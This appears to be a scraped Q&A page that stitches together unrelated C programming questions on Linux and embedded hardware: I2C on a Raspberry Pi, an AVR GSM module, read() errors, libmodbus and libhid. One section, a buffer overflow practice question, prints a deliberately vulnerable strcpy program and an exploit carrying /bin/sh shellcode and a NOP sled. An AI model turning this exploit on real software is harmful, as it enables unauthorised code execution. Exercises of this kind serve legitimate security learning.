I2C C Programming Nothing Works - raspberry-pi

Here is my program:
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>
#include <errno.h>
#include <linux/types.h>
#include <linux/i2c.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define I2C_SLAVE 0x0703
int main(int argc, char **argv)
{
uint8_t data, i2c_device_address = 0x21,
i2c_register_address = 0x01;
int file, rc;
//Open I2C
file = open("/dev/i2c-1", O_RDWR);
if (file < 0)
err(errno, "Tried to open /dev/i2c-1");
// I want to work with I2C Register at I2C Address 0x12
rc = ioctl(file, I2C_SLAVE, i2c_register_address);
if (rc < 0)
err(errno, "Tried to set device address '0x%02x'",
i2c_device_address);
// Read Content of I2C Register at I2C Address 0x12
rc = read(file, &data, 1);
if (rc < 0)
err(errno, "Tried to read device at address '0x%02x'",
i2c_device_address);
// Print the Result
// Expected (Default) Value = 0x80
// What i got = 0x00
printf("/dev/i2c-1: device 0x%02x at address 0x%02x: 0x%02x\n",
i2c_device_address, i2c_register_address, data);
// Terminal Output:
// /dev/i2c-1: device 0x21 at address 0x01: 0x00
return 0;
}
I have the ov7670 camera and i am trying to read some registers for warm up.
But i always get the same result: 0x00.
The datasheet of the camera tells me that 0x80 is the default value for this register.
When my camera isn't even connected to my Raspberry PI it still prints the same output when i run my program. There are not even errors.
I used the command i2cdetect -r 1 and i got correct output.
So the device must be ok and properly connected.
I want to know how can i read and write to i2c registers with the basic Linux read, write & ioctl functions?
UPDATE
Now I check the return value of the read function and it says Remote I/O error

The ioctl takes the device address as the third parameter, not the register:
rc = ioctl(file, I2C_SLAVE, i2c_device_address);
Then, you need a write-read combination, first writing the register you want to read then do the read.
And you have to check the return value of the read. It needs to be 1 or the read failed.

Related

(GSM module SM5100B + ATMEGA16A interface) Trouble sending SMS using AT commands in C code

I am having trouble with my university project for embedded systems. The goal is to establish an interface between a SM5100B GSM module and ATMEGA16A microcontroller, using UART (which I did, using the correct ports from the datasheets), and to be able to send/receive simple SMS messages by sending AT commands trough the Tx and Rx ports from atmega to gsm and vice versa, via C code in Atmel.(not using hyperterminal)
When I tested the GSM module using TeraTerm, i was able to connect properly, and send AT commands easily, also managed to send and recieve an SMS with the SIM card inserted, so everything works fine.
Now I'm trying to do that using the microcontroller.
Here is the code I have so far:
#define F_CPU 7372800UL
#include <stdio.h>
#include <stdlib.h>
#include <util/delay.h>
#include <avr/io.h>
#include <string.h>
#define BAUD 9600
#define MYUBRR ((F_CPU/16/BAUD)-1) //BAUD PRESCALAR (for Asynch. mode)
void GSM_init(unsigned int ubrr ) {
/* Set baud rate */
UBRRH = (unsigned char)(ubrr>>8);
UBRRL = (unsigned char)ubrr;
/* Enable receiver and transmitter */
UCSRB = (1<<RXEN)|(1<<TXEN);
/* Set frame format: 8data, 2stop bit */
UCSRC = (1<<URSEL)|(1<<USBS)|(3<<UCSZ0);
}
void USART_Transmit(char data ) {
/* Wait for empty transmit buffer */
while ( !( UCSRA & (1<<UDRE)) );
/* Put data into buffer, sends the data */
UDR = data;
}
void USART_Transmits(char data[] ) {
int i;
for(i=0; i<strlen(data); i++) {
USART_Transmit(data[i]);
_delay_ms(300);
}
}
int main(void)
{
GSM_init(MYUBRR);
char text_mode[] = "AT+CMGF=1";
char send_sms[] = "AT+CMGS=";
char phone_number[] = "00385*********";
char sms[] = "gsm sadness";
USART_Transmits(text_mode);
_delay_ms(1000);
USART_Transmits(send_sms);
_delay_ms(1000);
USART_Transmit(34);//quotation mark "
//_delay_ms(300);
USART_Transmits(phone_number);
//_delay_ms(300);
USART_Transmit(34);//quotation mark "
//_delay_ms(300);
USART_Transmit(13);//enter
//_delay_ms(300);
USART_Transmits(sms);
_delay_ms(1000);
USART_Transmit(26);//ctrl+z
_delay_ms(300);
USART_Transmit(13);//enter
_delay_ms(3000);
while (1)
{
}
}
However, my code isn't working, it's not sending the message.
The functions for transmitting are taken from the datasheet and everywhere on the internet I search I find the same ones over and over again.
Is the problem in AT responses that I'm not reading correctly? Or in parsing AT commands to the serial port?
Can anybody help me understand where I'm going wrong with this, or where I can look for to understand how to make this work?

Different comportement of read

I'm trying to understand why this program return different errors when I change the size of the buffer:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
int main()
{
int file = open("./test",O_RDWR);
//char buff[204796] = "" ; -> File Descriptor error (no seg fault)
//char buff[100000]=""; -> Seg Fault
char buff[208896]=""; -> Bad Adress (no seg fault)
int i = 0;
while(read(file,buff+i,2048) > 0)
{
i += 2048;
};
fprintf(stderr, "%s\n", strerror(errno));
}
Test is a file with 500000 A :)
When a Bad adress or File descriptor errors occur, I don't know how to exploit this code.
So, bad access and segfaults aren't the same category. Bad access is thrown by the Mach-o system, while segfault is a POSIX signal, hence, segfault ∈ bad access (it can be thrown by other POSIX signals. I would suspect your error is stemming from your file size, and or the OS blocking you from taking that much memory. Look at your memory at the locations in the dump and see what is stored.

a lack of examples of using libmodbus functions

I am new to modbus. I have spent hours reading the Help(?) files, which never seem to give you an example! I am using C on a Raspberry Pi, model3 and have installed libmodbus. I am trying to talk to an epSolar solar panel controller via an FTDI USB to RS485 converter.
The epSolar docs say that the Read Input registers start at address 3000 and continue to 311D. I am trying to read 3104.
I modified the code below. It connects to the device but trying to read input register 0x04 always returns -1:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <modbus.h>
enum {TCP, RTU};
int main(int argc, char *argv[])
{
int socket;
modbus_t *ctx;
modbus_mapping_t *mb_mapping;
int rc;
int use_backend;
int i;
uint16_t tab_reg[64];
use_backend = RTU;
printf("Waiting for Serial connection\n");
ctx = modbus_new_rtu("/dev/SOLAR", 115200, 'N', 8, 1);
modbus_set_slave(ctx, 0);
//modbus_connect(ctx);
if(modbus_connect(ctx) == -1)
{
fprintf(stderr, "Serial connection failed:
%s\n", modbus_strerror(errno));
modbus_free(ctx);
return -1;
}
printf("Serial connection started!\n");
mb_mapping = modbus_mapping_new(MODBUS_MAX_READ_BITS, 0,
MODBUS_MAX_READ_REGISTERS, 0);
if(mb_mapping == NULL)
{
fprintf(stderr, "Failed to allocate the mapping: %s\n",
modbus_strerror(errno));
modbus_free(ctx);
return -1;
}
rc = modbus_read_input_registers(ctx, 1, 0x0A, tab_reg);
if(rc == -1)
{
fprintf(stderr, "%s\n", modbus_strerror(errno));
return -1;
}
for(i=0; i < rc; i++)
printf("reg[%d]=%d (0x%X)\n", i, tab_reg[i], tab_reg[i]);
modbus_mapping_free(mb_mapping);
modbus_free(ctx);
modbus_close(ctx);
return 0;
}
It connects fine and allocates the mapping, but rc is always -1 with error message that the port has timed out.
I have run out of ideas and feel like I am navigating through treacle!
Any help most appreciated.
I am also new to Modbus. With my current experience, make sure you are allocating enough memory for the tab_reg for storing the results. Also try setting the Debug mode on i.e modbus_set_debug(ctx, TRUE); to Check for the request and response code.
I know this is a really old question, but hopefully this answer will help anyone who lands here via a Google search.
I can see a few points that need some help.
As commented by Saad above, the modbus server ID above is incorrect. ID 0 is reserved for broadcast messages, which a slave will not respond to. Find out what the Modbus ID for the target device is, and use that.
I think what's tricking you is that you'll also always get a proper "connect" as long as the serial port you provided is valid. This isn't a connection to any particular device so much as it's a connection to the Modbus network port. You're getting a timeout because a response was expected by libmodbus, but no response was received on the wire.
There are several other little troubles in the code presented, but given the age of this post I almost feel like I'm nitpicking something the OP probably already solved. The big problem is the unworkable slave ID. Other minor problems include: unnecessary use of modbus_mapping (struct for use on server/slaves), possible misallocation of modbus_mapping (no space allocated for input registers).

Basic buffer overflow practice

I've been practicing some basic stack-based buffer overflow task recently
and I wrote an vulnerable program like this:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc,char **argv)
{
if (argc<2) {
puts("Need enough args!!");
exit(0);
}
char buf[400];
strcpy(buf,argv[1]);
printf("Hi, %s\n",buf);
return 0;
}
and the exploit program like this:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define ATK_L 430
#define VUL_L 400
#define NOP_L 12
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
char *atk,vul[]="./vul1 ";
atk=(char*)malloc(sizeof(char)*ATK_L);
unsigned long i,ret,*ptr,ptr2;
ret=(unsigned long)atk;
ptr=(unsigned long*)atk;
for(i=0;i<ATK_L;i+=4){
*(ptr++)=ret;
}
for(i=0;i<NOP_L;i++){
atk[i]='\x90';
}
ptr2=0;
for(i=NOP_L;i<NOP_L+strlen(shellcode);i++){
atk[i]=shellcode[ptr2++];
}
atk[ATK_L-1]='\0';
strcat(vul,atk);
system(vul);
free(atk);
return 0;
}
Since I don't want to determine the offset , I just jump back to the beginning of the atk array . I turn off the ASLR & put the -fno-stack-protector flag when compiling , but when I run the exploit program it just say core dump and do nothing!! I use gdb to debug the exploit program and it said that it was killed in the getenv function and I just cant get understand.
I work on ubuntu 11.10 32bits
Thanks a lot :-)

linux usb-hid :add libhid library to eclipse(C++) or netbeans IDEs or native input.h or hiddev.h?

i have problem with libhid .
i found that there 2 way 4 accessing the usb-hid in linux
1)linux default libraries like input.h and hiddev.h and ...
2)using libhid
i found libhid some confusing and try to use input.h but i have problem with that 2.
i dont know how to get information about my device from ubuntu
i use open() to open the device
str="/dev/inpt/eventX" \\where X=0,1,...,7(I'm not sure about this)
open(str,O_RDWR)
then get info with ioctl
ioctl(fd,EVIOCGVERSION,&version);
but it give me wrong vendor and product IDs
then
i try to use libhid but had know idea how to use libhid (or any other library) in eclipse or netbeans
can you tell me how you compiled your codes any IDE like eclipse or netbeans or just using terminal and gcc?
or
how to work with ioctl() and open() ?
my whole example code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ftw.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <asm/types.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/usbdevice_fs.h>
#include <linux/input.h>
#include <strings.h>
struct input_devinfo
{
uint16_t bustype;
uint16_t vendor;
uint16_t product;
uint16_t version;
};
int main(void) {
//puts("!!!Hello World!!!"); /* prints !!!Hello World!!! */
//usb_device ud;
//int i=0;
//string str;
//str=char[100];
//str="/dev/input/event0\n";
printf("------------- start -----------------\n");
char str[]="" ;
int version=0;
char c[16];
char t;
int i,fd;
//for (i=0 ; i<8 ; i++)
{
//strcpy(c,str);
//t=i-'0';
//printf("salam5\n");
//c[15]=t;
//openning
//open(str,O_RDONLY);//read and write
if ((fd = open(str,O_RDWR)) < 0)
perror("str open\n");
else
printf("%s opened successfully\n",str);
ioctl(fd,EVIOCGVERSION,&version);
printf("version = %d \n",version);
printf("evdev driver version is %d.%d.%d\n",version >> 16, (version >> 8) & 0xff, version & 0xff);
//geting info from device
struct input_devinfo device_info;
ioctl(fd,EVIOCGID,&device_info);
printf("vendor 0x%04hx product 0x%04hx version 0x%04hx is on ?",
device_info.vendor, device_info.product,
device_info.version);
}
return EXIT_SUCCESS;
}
I find a way to compile my code in eclipse
1 problem solved
to compile your code with GCC in terminal you should define libhid for GCC by adding "-lhid" to your command :
gcc test_libhid.c -lhid
if your using eclipse and you want to use libhid with it you should add "-lhid" to gcc linker in order to gcc could use libhid when its compiling your code
follow the steps:
1)on the project Explorer panel , R-click on your project select properties (last option)
or select your project and press Alt+Enter
2)in the left panel expand "c/c++ build" and select "setting"
3)in the right side select "tool setting" tab
4)you should see GCC C compiler and GCC C linker and GCC assembler in there .
expand GCC C linker and select Libraries
5)after selecting in the right side you should see 2 boxes: Libraries(-l) and Library search path(-L)
in the Libraries(-l) add "hid"
note:eclipse use GCC to compile your codes when you do this steps eclipse add "-lhid" parameter to gcc to able it recognizing the libhid.